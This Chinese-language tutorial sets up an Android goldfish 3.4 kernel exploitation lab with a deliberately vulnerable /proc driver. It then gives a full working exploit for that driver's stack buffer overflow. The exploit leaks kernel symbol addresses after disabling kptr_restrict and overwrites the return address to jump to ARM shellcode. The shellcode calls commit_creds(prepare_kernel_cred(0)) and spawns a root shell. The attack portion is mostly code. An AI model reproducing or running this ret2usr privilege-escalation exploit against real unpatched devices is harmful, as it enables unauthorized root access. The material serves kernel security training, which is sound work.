搭建平台:Ubuntu 16.04
# 下载内核代码
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
# clone漏洞项目
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
#将内核切换到3.4版本
cd goldfish
git checkout -t origin/android-goldfish-3.4
#git am 可以将 patch 应用到当前的内核,--signoff 意味着使用自己的提交者标识向提交消息添加 Signed-off-by: 一行。这里应该是修改了内核编译配置,把项目中带漏洞中的模块编译进内核。
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
#下载 arm-linux-androideabi-4.6 交叉编译工具链
git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
#构建内核
export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \
cd goldfish && make goldfish_armv7_defconfig && make -j8
编译完成后,就会有两个主要的文件:goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那个用于在调试时 gdb加载,后面的用于在安卓模拟器启动时加载。
vmlinux 用于提供符号表,zImage 则用于运行环境。
#下载jdk
sudo apt update
sudo apt-get install default-jre default-jdk
#下载sdk
wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
tar xvf android-sdk_r24.4.1-linux.tgz
export PATH=YOURPATH/android-sdk-linux/tools:$PATH
android
下载图中两个依赖文件
#创建安卓模拟器
android create avd --force -t "android-19" -n kernel_challenges
#然后进入 goldfish 目录,使用下面的命令来使用我们的内核来运行模拟器,并在 1234 端口起一个 gdbserver 来方便进行内核调试
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
sudo ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0
arm-linux-androideabi-gdb vmlinux
正常的话,会是如下输出
因为我装了pwndbg会有一些报错,正常现象
(gdb) target remote :1234
Remote debugging using :1234
cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74
74 mov pc, lr
#这样的话我们就可以正常调试了
#安装adb
sudo apt install android-tools-adb
adb shell之后会出现emulator-5554 offline,然后adb kill-server /adb start-sever都试过了,adb也升到32版本了,都不行,然后进下如下操作,可以了…….
netstat -tulpn | grep 5554
sudo kill -9 10954
#项目地址
https://github.com/Fuzion24/AndroidKernelExploitationPlayground
代码:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc_fs.h> #include <linux/string.h> #include <asm/uaccess.h> #define MAX_LENGTH 64 MODULE_LICENSE("GPL"); MODULE_AUTHOR("Ryan Welton"); MODULE_DESCRIPTION("Stack Buffer Overflow Example"); static struct proc_dir_entry *stack_buffer_proc_entry; int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) { char buf[MAX_LENGTH]; if (copy_from_user(&buf, ubuf, count)) { printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n"); return -EFAULT; } return count; } static int __init stack_buffer_proc_init(void) { stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL); stack_buffer_proc_entry->write_proc = proc_entry_write; printk(KERN_INFO "created /proc/stack_buffer_overflow\n"); return 0; } static void __exit stack_buffer_proc_exit(void) { if (stack_buffer_proc_entry) { remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry); } printk(KERN_INFO "vuln_stack_proc_entry removed\n"); } module_init(stack_buffer_proc_init); module_exit(stack_buffer_proc_exit);
上述驱动会创建/proc/stack_buffer_overflow设备文件,当向该设备文件调用 write 系统调用时会调用proc_entry_write函数进行处理,在proc_entry_write函数中定义了一个64字节大小的栈缓冲区,copy_from_user函数(实现了将用户空间的数据传送到内核空间)在处理数据时并未检测数据长度,直接拷贝至内核空间(此处可通俗理解memcpy的内存拷贝),导致可以覆盖栈上保存的返回地址,然后劫持程序流程,从而实现代码执行的效果。不过这是在内核空间,可以直接用来提权getshell。
PXN是Privileged Execute-Never 的缩写,按字面翻译就是“特权执行从不”,是ARM平台下的一项内核保护措施,作用是禁止内核执行用户空间的代码(但没有阻止内核去读取用户空间的数据),它的开启与否主要由页表属性的PXN位来控制
3.4的内核没有开PXN保护,在内核态可以跳转到用户态的内存空间去执行代码,我们此次模拟用的是3.4的内核,没有开启pxn,但是在3.10以上的内核中开启了PXN保护,无法执行用户态内存中的shellcode
在linux内核漏洞利用中常常使用commit_creds和 prepare_kernel_cred 来完成提权,/proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。从Ubuntu 11.04和RHEL 7开始,/proc/sys/kernel/kptr_restrict 被默认设置为1以阻止通过这种方式泄露内核地址。
cat /proc/kallsyms | grep commit_creds
#查看是否开启Kernel Address Display Restriction
可以看到已经开启了Kernel Address Display Restriction,我们现在把它关闭
#关闭Kernel Address Display Restriction
echo 0 > /proc/sys/kernel/kptr_restrict
由于buf 大小为64字节,所以我们输入72字节去覆盖pc指针
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
可以看到触发了kernel panic,并且成功劫持了pc寄存器
由于没开pxn以及Kernel Address Display Restriction,所以我们的利用shellcode提权,思路是
完整exp如下
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX 64
int open_file(void)
{
int fd = open("/proc/stack_buffer_overflow", O_RDWR);
if (fd == -1)
err(1, "open");
return fd;
}
void payload(void)
{
printf("[+] enjoy the shell\n");
execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x82d5\n\t" // payload function addr
"BLX R3\n\t");
void trigger_vuln(int fd)
{
#define MAX_PAYLOAD (MAX + 2 * sizeof(void *))
char buf[MAX_PAYLOAD];
memset(buf, 'A', sizeof(buf));
void *pc = buf + MAX + 1 * sizeof(void *);
printf("shellcdoe addr: %p\n", shellCode);
printf("payload:%p\n", payload);
*(void **)pc = (void *)shellCode; //ret addr
write(fd, buf, sizeof(buf));
}
int main(void)
{
int fd;
fd = open_file();
trigger_vuln(fd);
payload();
close(fd);
}
解释下shellcode
"LDR R3, =0xc0039d34\n\t"
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t"
"BLX R3\n\t"
这几句汇编是执行commit_creds(prepare_kernel_cred(0));
其中0xc0039d34是prepare_kernel_cred的地址,0xc0039834是commit_creds的地址
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
这个是通过CPSR状态寄存器完成从内核态到用户态的切换,将CPSR的M[4:0]位置为0b10000切换到用户模式
"LDR R3, =0x82d5\n\t"
"BLX R3\n\t");
这是跳转到payload函数,R3寄存器的值可以随便填个,先编译文件,exp里会打印payload函数的地址,再填入
adb remount
adb shell
chmod 777 system
http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html